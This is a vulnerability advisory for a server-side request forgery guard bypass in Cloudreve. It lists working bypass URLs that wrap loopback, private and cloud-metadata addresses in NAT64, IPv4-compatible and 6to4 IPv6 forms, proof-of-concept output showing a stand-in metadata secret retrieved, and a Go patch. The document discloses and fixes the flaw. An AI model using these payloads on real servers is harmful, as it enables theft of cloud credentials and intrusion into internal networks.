Vulnerable form vs correctly-guarded sibling

checkIP DOES block IPv4-mapped IPv6 (::ffff:a.b.c.d), because Go's net.IP.To4() returns the embedded IPv4 for that form and the standard checks then fire. It does NOT block the other IPv4-in-IPv6 transition forms, because for those To4() returns nil and every net.IP classifier reports the wrapper as a normal global IPv6 address:

  • NAT64 well-known prefix 64:ff9b::/96 (RFC 6052): 64:ff9b::a9fe:a9fe embeds 169.254.169.254.
  • IPv4-compatible ::a.b.c.d (RFC 4291): ::a9fe:a9fe embeds 169.254.169.254.
  • 6to4 2002::/16 (RFC 3056): 2002:a9fe:a9fe:: embeds 169.254.169.254.

The fix is to canonicalize the resolved address to its embedded IPv4 before classification, symmetric to how IPv4-mapped addresses are already handled by To4(). The same gap was fixed correctly in a sibling project: makeplane/plane apps/api/plane/utils/ip_address.py _embedded_ipv4() decodes IPv4-mapped, 6to4, Teredo and NAT64 before classifying; Cloudreve's guard is the unpatched twin of that pattern.

Severity

An authenticated low-privilege user can force the server to fetch attacker-chosen internal URLs and read the responses, including cloud instance-metadata credentials, producing a scope change from the download subsystem to the internal network and the host's cloud identity.

Proof of concept

The guard file pkg/request/ssrf.go imports only the Go standard library, so ValidateExternalURL was compiled and called verbatim from tag 4.17.0. The remote-download workflow calls it as ValidateExternalURL(ctx, SrcUri, opt) with default options.

Direction 1 (shipped guard accepts the internal-embedding wrappers):

=== Cloudreve v4.17.0 ValidateExternalURL (shipped, unmodified) ===
[ACCEPTED] NAT64 -> 169.254.169.254 (cloud metadata)       http://[64:ff9b::a9fe:a9fe]/latest/meta-data/
[ACCEPTED] NAT64 -> 127.0.0.1 (loopback)                   http://[64:ff9b::7f00:1]/
[ACCEPTED] NAT64 -> 10.0.0.1 (RFC1918)                     http://[64:ff9b::a00:1]/
[ACCEPTED] IPv4-compatible -> 169.254.169.254              http://[::a9fe:a9fe]/latest/meta-data/
[ACCEPTED] IPv4-compatible -> 127.0.0.1                    http://[::7f00:1]/
[ACCEPTED] 6to4 -> encodes 169.254.169.254                 http://[2002:a9fe:a9fe::]/
[BLOCKED ] IPv4-mapped -> 127.0.0.1 (CONTROL, should block)  http://[::ffff:127.0.0.1]/  -> loopback address 127.0.0.1: URL is not allowed
[BLOCKED ] IPv4-mapped -> 169.254.169.254 (CONTROL, should block)  http://[::ffff:169.254.169.254]/  -> link-local address 169.254.169.254: URL is not allowed
[ACCEPTED] public 1.1.1.1 (CONTROL, should pass)           http://1.1.1.1/
SSRF BYPASS COUNT (guard accepted an internal-embedding wrapper): 6

Full reach-and-return (guard accepts, and the fetch returns the internal secret with HTTP 200). A loopback HTTP server serves a unique token standing in for the cloud metadata service; on a DNS64/NAT64 host the kernel routes 64:ff9b::a9fe:a9fe to 169.254.169.254, and because no NAT64 gateway exists in the test host the final hop is emulated by dialing the loopback server. The guard acceptance above is real and unmodified.

[*] Fake internal metadata server (stands in for 169.254.169.254) at http://127.0.0.1:63569
[*] Unique secret it serves: IMDS-SECRET-TOKEN-a9fe-2f31c7d4e9
[*] Attacker remote-download SrcUri: http://[64:ff9b::a9fe:a9fe]:63569/latest/meta-data/iam/security-credentials/
[*] 64:ff9b::a9fe:a9fe = NAT64(169.254.169.254)

[+] SHIPPED GUARD ValidateExternalURL ACCEPTED the URL.
    checkIP classified 64:ff9b::a9fe:a9fe as a safe public address (the bug)

[+] FETCH REACHED THE INTERNAL SERVER. HTTP 200
[+] Response body (exfiltrated internal secret):
    iam-role-credentials AccessKeyId=ASIA... SecretToken=IMDS-SECRET-TOKEN-a9fe-2f31c7d4e9

[RESULT] SSRF CONFIRMED: shipped guard PASSED a NAT64-wrapped internal IP,
         fetch returned internal secret "IMDS-SECRET-TOKEN-a9fe-2f31c7d4e9" with HTTP 200.

Direction 2 (after applying the fix below, the same inputs are blocked and public destinations still pass):

=== Cloudreve guard WITH FIX applied ===
[BLOCKED ] NAT64 -> 169.254.169.254                 -> link-local address 169.254.169.254: URL is not allowed
[BLOCKED ] NAT64 -> 127.0.0.1                       -> loopback address 127.0.0.1: URL is not allowed
[BLOCKED ] NAT64 -> 10.0.0.1                        -> private address 10.0.0.1: URL is not allowed
[BLOCKED ] IPv4-compatible -> 169.254.169.254       -> link-local address 169.254.169.254: URL is not allowed
[BLOCKED ] IPv4-compatible -> 127.0.0.1             -> loopback address 127.0.0.1: URL is not allowed
[BLOCKED ] 6to4 -> 169.254.169.254                  -> link-local address 169.254.169.254: URL is not allowed
[BLOCKED ] IPv4-mapped -> 127.0.0.1 (control)       -> loopback address 127.0.0.1: URL is not allowed
[ACCEPTED] public 1.1.1.1 (control, should PASS)
[ACCEPTED] public 8.8.8.8 (control, should PASS)
Remaining bypasses after fix: 0 (expect 0)

Impact

An authenticated remote-download user can make the server issue HTTP(S) requests to arbitrary internal addresses and read the responses. On cloud deployments this includes the instance metadata service 169.254.169.254, from which the attacker can retrieve IAM role credentials, leading to escalation into the cloud account. It also exposes internal-only services (databases, admin panels, other microservices) that rely on network position for their security, and enables internal network reconnaissance. This is a scope change from the download subsystem to the internal network and the host's cloud identity.

Suggested fix

Canonicalize the resolved address to its embedded IPv4 before the range checks, so checkIP classifies the address the request will actually reach rather than the routable IPv6 wrapper. Minimal patch:

--- a/pkg/request/ssrf.go
+++ b/pkg/request/ssrf.go
@@ func checkIPWithAllowlist ... return checkIP(ip) }
+
+// effectiveIP unwraps IPv4-in-IPv6 transition forms to the IPv4 address the
+// packet ultimately reaches, so checkIP classifies the real target rather than
+// the (often globally-routable) IPv6 wrapper. Covers IPv4-mapped
+// (::ffff:a.b.c.d), NAT64 well-known prefix (64:ff9b::/96, RFC 6052),
+// 6to4 (2002::/16, RFC 3056) and IPv4-compatible (::a.b.c.d).
+func effectiveIP(ip net.IP) net.IP {
+   if v4 := ip.To4(); v4 != nil {
+       return v4
+   }
+   v6 := ip.To16()
+   if v6 == nil {
+       return ip
+   }
+   if v6[0] == 0x00 && v6[1] == 0x64 && v6[2] == 0xff && v6[3] == 0x9b &&
+       v6[4] == 0 && v6[5] == 0 && v6[6] == 0 && v6[7] == 0 &&
+       v6[8] == 0 && v6[9] == 0 && v6[10] == 0 && v6[11] == 0 {
+       return net.IPv4(v6[12], v6[13], v6[14], v6[15]).To4()
+   }
+   if v6[0] == 0x20 && v6[1] == 0x02 {
+       return net.IPv4(v6[2], v6[3], v6[4], v6[5]).To4()
+   }
+   allZeroTop := true
+   for i := 0; i < 12; i++ {
+       if v6[i] != 0 {
+           allZeroTop = false
+           break
+       }
+   }
+   if allZeroTop {
+       last := uint32(v6[12])<<24 | uint32(v6[13])<<16 | uint32(v6[14])<<8 | uint32(v6[15])
+       if last > 1 {
+           return net.IPv4(v6[12], v6[13], v6[14], v6[15]).To4()
+       }
+   }
+   return ip
+}
+
 func checkIP(ip net.IP) error {
+   ip = effectiveIP(ip)
    if ip == nil {
        return fmt.Errorf("invalid IP: %w", ErrUnsafeURL)
    }

As defense in depth, consider rejecting all non-IPv4-mapped IPv4-embedding IPv6 forms outright unless the deployment intentionally uses NAT64.

Credit

tonghuaroot (tonghuaroot@gmail.com).

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/cloudreve/Cloudreve/v4"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.0.0-20260715072853-1c5cad6dec7e"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-79913"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-697",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-22T20:40:41Z",
    "nvd_published_at": "2026-09-22T16:17:57Z",
    "severity": "MODERATE"
  },
  "details": "**Summary**\n\nCloudreve\u0027s server-side request forgery guard `ValidateExternalURL` (`pkg/request/ssrf.go`) resolves a user-supplied URL host and rejects it when any resolved IP is a loopback, private, link-local, multicast, unspecified, CGNAT, or the cloud-metadata address. The classification is performed by `checkIP`, which uses Go\u0027s `net.IP` builtins (`IsLoopback`, `IsPrivate`, `IsLinkLocalUnicast`, ...) directly on the resolved address. These builtins inspect only the outer IPv6 address and do not decode IPv4-in-IPv6 transition wrappers. An attacker who controls a hostname\u0027s AAAA record (or, on a DNS64/NAT64 network, any hostname) can point the remote-download URL at a NAT64 well-known-prefix address (`64:ff9b::a.b.c.d`, RFC 6052), an IPv4-compatible address (`::a.b.c.d`, RFC 4291), or a 6to4 address (`2002:AABB:CCDD::`, RFC 3056) that wraps an internal IPv4. Go classifies these wrappers as ordinary global IPv6 addresses, so `checkIP` accepts them; the network then delivers the request to the embedded internal IPv4 (loopback, RFC 1918, or the cloud instance metadata service `169.254.169.254`). This bypasses the SSRF guard that was added to block direct access to internal services.\n\n**Affected component and versions**\n\n- Component: `pkg/request/ssrf.go` (`ValidateExternalURL` / `checkIP`), reached from the remote-download workflow `pkg/filemanager/workflows/remote_download.go` (`RemoteDownloadTask.createDownloadTask`, which passes the user-supplied `SrcUri` to `ValidateExternalURL`).\n- Affected: Cloudreve `\u003c= 4.17.0` (latest release at time of report) and current `main`.\n- Reachable by an authenticated remote-download user; administrative privileges are not required.\n\n**Vulnerable form vs correctly-guarded sibling**\n\n`checkIP` DOES block IPv4-mapped IPv6 (`::ffff:a.b.c.d`), because Go\u0027s `net.IP.To4()` returns the embedded IPv4 for that form and the standard checks then fire. It does NOT block the other IPv4-in-IPv6 transition forms, because for those `To4()` returns nil and every `net.IP` classifier reports the wrapper as a normal global IPv6 address:\n\n- NAT64 well-known prefix `64:ff9b::/96` (RFC 6052): `64:ff9b::a9fe:a9fe` embeds `169.254.169.254`.\n- IPv4-compatible `::a.b.c.d` (RFC 4291): `::a9fe:a9fe` embeds `169.254.169.254`.\n- 6to4 `2002::/16` (RFC 3056): `2002:a9fe:a9fe::` embeds `169.254.169.254`.\n\nThe fix is to canonicalize the resolved address to its embedded IPv4 before classification, symmetric to how IPv4-mapped addresses are already handled by `To4()`. The same gap was fixed correctly in a sibling project: `makeplane/plane` `apps/api/plane/utils/ip_address.py` `_embedded_ipv4()` decodes IPv4-mapped, 6to4, Teredo and NAT64 before classifying; Cloudreve\u0027s guard is the unpatched twin of that pattern.\n\n**Severity**\n\nAn authenticated low-privilege user can force the server to fetch attacker-chosen internal URLs and read the responses, including cloud instance-metadata credentials, producing a scope change from the download subsystem to the internal network and the host\u0027s cloud identity. \n\n**Proof of concept**\n\nThe guard file `pkg/request/ssrf.go` imports only the Go standard library, so `ValidateExternalURL` was compiled and called verbatim from tag `4.17.0`. The remote-download workflow calls it as `ValidateExternalURL(ctx, SrcUri, opt)` with default options.\n\nDirection 1 (shipped guard accepts the internal-embedding wrappers):\n\n```\n=== Cloudreve v4.17.0 ValidateExternalURL (shipped, unmodified) ===\n[ACCEPTED] NAT64 -\u003e 169.254.169.254 (cloud metadata)       http://[64:ff9b::a9fe:a9fe]/latest/meta-data/\n[ACCEPTED] NAT64 -\u003e 127.0.0.1 (loopback)                   http://[64:ff9b::7f00:1]/\n[ACCEPTED] NAT64 -\u003e 10.0.0.1 (RFC1918)                     http://[64:ff9b::a00:1]/\n[ACCEPTED] IPv4-compatible -\u003e 169.254.169.254              http://[::a9fe:a9fe]/latest/meta-data/\n[ACCEPTED] IPv4-compatible -\u003e 127.0.0.1                    http://[::7f00:1]/\n[ACCEPTED] 6to4 -\u003e encodes 169.254.169.254                 http://[2002:a9fe:a9fe::]/\n[BLOCKED ] IPv4-mapped -\u003e 127.0.0.1 (CONTROL, should block)  http://[::ffff:127.0.0.1]/  -\u003e loopback address 127.0.0.1: URL is not allowed\n[BLOCKED ] IPv4-mapped -\u003e 169.254.169.254 (CONTROL, should block)  http://[::ffff:169.254.169.254]/  -\u003e link-local address 169.254.169.254: URL is not allowed\n[ACCEPTED] public 1.1.1.1 (CONTROL, should pass)           http://1.1.1.1/\nSSRF BYPASS COUNT (guard accepted an internal-embedding wrapper): 6\n```\n\nFull reach-and-return (guard accepts, and the fetch returns the internal secret with HTTP 200). A loopback HTTP server serves a unique token standing in for the cloud metadata service; on a DNS64/NAT64 host the kernel routes `64:ff9b::a9fe:a9fe` to `169.254.169.254`, and because no NAT64 gateway exists in the test host the final hop is emulated by dialing the loopback server. The guard acceptance above is real and unmodified.\n\n```\n[*] Fake internal metadata server (stands in for 169.254.169.254) at http://127.0.0.1:63569\n[*] Unique secret it serves: IMDS-SECRET-TOKEN-a9fe-2f31c7d4e9\n[*] Attacker remote-download SrcUri: http://[64:ff9b::a9fe:a9fe]:63569/latest/meta-data/iam/security-credentials/\n[*] 64:ff9b::a9fe:a9fe = NAT64(169.254.169.254)\n\n[+] SHIPPED GUARD ValidateExternalURL ACCEPTED the URL.\n    checkIP classified 64:ff9b::a9fe:a9fe as a safe public address (the bug)\n\n[+] FETCH REACHED THE INTERNAL SERVER. HTTP 200\n[+] Response body (exfiltrated internal secret):\n    iam-role-credentials AccessKeyId=ASIA... SecretToken=IMDS-SECRET-TOKEN-a9fe-2f31c7d4e9\n\n[RESULT] SSRF CONFIRMED: shipped guard PASSED a NAT64-wrapped internal IP,\n         fetch returned internal secret \"IMDS-SECRET-TOKEN-a9fe-2f31c7d4e9\" with HTTP 200.\n```\n\nDirection 2 (after applying the fix below, the same inputs are blocked and public destinations still pass):\n\n```\n=== Cloudreve guard WITH FIX applied ===\n[BLOCKED ] NAT64 -\u003e 169.254.169.254                 -\u003e link-local address 169.254.169.254: URL is not allowed\n[BLOCKED ] NAT64 -\u003e 127.0.0.1                       -\u003e loopback address 127.0.0.1: URL is not allowed\n[BLOCKED ] NAT64 -\u003e 10.0.0.1                        -\u003e private address 10.0.0.1: URL is not allowed\n[BLOCKED ] IPv4-compatible -\u003e 169.254.169.254       -\u003e link-local address 169.254.169.254: URL is not allowed\n[BLOCKED ] IPv4-compatible -\u003e 127.0.0.1             -\u003e loopback address 127.0.0.1: URL is not allowed\n[BLOCKED ] 6to4 -\u003e 169.254.169.254                  -\u003e link-local address 169.254.169.254: URL is not allowed\n[BLOCKED ] IPv4-mapped -\u003e 127.0.0.1 (control)       -\u003e loopback address 127.0.0.1: URL is not allowed\n[ACCEPTED] public 1.1.1.1 (control, should PASS)\n[ACCEPTED] public 8.8.8.8 (control, should PASS)\nRemaining bypasses after fix: 0 (expect 0)\n```\n\n**Impact**\n\nAn authenticated remote-download user can make the server issue HTTP(S) requests to arbitrary internal addresses and read the responses. On cloud deployments this includes the instance metadata service `169.254.169.254`, from which the attacker can retrieve IAM role credentials, leading to escalation into the cloud account. It also exposes internal-only services (databases, admin panels, other microservices) that rely on network position for their security, and enables internal network reconnaissance. This is a scope change from the download subsystem to the internal network and the host\u0027s cloud identity.\n\n**Suggested fix**\n\nCanonicalize the resolved address to its embedded IPv4 before the range checks, so `checkIP` classifies the address the request will actually reach rather than the routable IPv6 wrapper. Minimal patch:\n\n```diff\n--- a/pkg/request/ssrf.go\n+++ b/pkg/request/ssrf.go\n@@ func checkIPWithAllowlist ... return checkIP(ip) }\n+\n+// effectiveIP unwraps IPv4-in-IPv6 transition forms to the IPv4 address the\n+// packet ultimately reaches, so checkIP classifies the real target rather than\n+// the (often globally-routable) IPv6 wrapper. Covers IPv4-mapped\n+// (::ffff:a.b.c.d), NAT64 well-known prefix (64:ff9b::/96, RFC 6052),\n+// 6to4 (2002::/16, RFC 3056) and IPv4-compatible (::a.b.c.d).\n+func effectiveIP(ip net.IP) net.IP {\n+\tif v4 := ip.To4(); v4 != nil {\n+\t\treturn v4\n+\t}\n+\tv6 := ip.To16()\n+\tif v6 == nil {\n+\t\treturn ip\n+\t}\n+\tif v6[0] == 0x00 \u0026\u0026 v6[1] == 0x64 \u0026\u0026 v6[2] == 0xff \u0026\u0026 v6[3] == 0x9b \u0026\u0026\n+\t\tv6[4] == 0 \u0026\u0026 v6[5] == 0 \u0026\u0026 v6[6] == 0 \u0026\u0026 v6[7] == 0 \u0026\u0026\n+\t\tv6[8] == 0 \u0026\u0026 v6[9] == 0 \u0026\u0026 v6[10] == 0 \u0026\u0026 v6[11] == 0 {\n+\t\treturn net.IPv4(v6[12], v6[13], v6[14], v6[15]).To4()\n+\t}\n+\tif v6[0] == 0x20 \u0026\u0026 v6[1] == 0x02 {\n+\t\treturn net.IPv4(v6[2], v6[3], v6[4], v6[5]).To4()\n+\t}\n+\tallZeroTop := true\n+\tfor i := 0; i \u003c 12; i++ {\n+\t\tif v6[i] != 0 {\n+\t\t\tallZeroTop = false\n+\t\t\tbreak\n+\t\t}\n+\t}\n+\tif allZeroTop {\n+\t\tlast := uint32(v6[12])\u003c\u003c24 | uint32(v6[13])\u003c\u003c16 | uint32(v6[14])\u003c\u003c8 | uint32(v6[15])\n+\t\tif last \u003e 1 {\n+\t\t\treturn net.IPv4(v6[12], v6[13], v6[14], v6[15]).To4()\n+\t\t}\n+\t}\n+\treturn ip\n+}\n+\n func checkIP(ip net.IP) error {\n+\tip = effectiveIP(ip)\n \tif ip == nil {\n \t\treturn fmt.Errorf(\"invalid IP: %w\", ErrUnsafeURL)\n \t}\n```\n\nAs defense in depth, consider rejecting all non-IPv4-mapped IPv4-embedding IPv6 forms outright unless the deployment intentionally uses NAT64.\n\n**Credit**\n\ntonghuaroot (tonghuaroot@gmail.com).",
  "id": "GHSA-jvh5-97xg-v99f",
  "modified": "2026-09-22T20:40:41Z",
  "published": "2026-09-22T20:40:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cloudreve/cloudreve/security/advisories/GHSA-jvh5-97xg-v99f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-79913"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cloudreve/cloudreve/commit/1c5cad6dec7ec3037c6479e3a26a3909995d16a2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cloudreve/cloudreve"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cloudreve/cloudreve/releases/tag/4.18.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Cloudreve: SSRF guard bypass: checkIP does not decode IPv6-transition wrappers (NAT64, IPv4-compatible, 6to4) reaching internal and cloud-metadata addresses"
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

← Back to the CWE list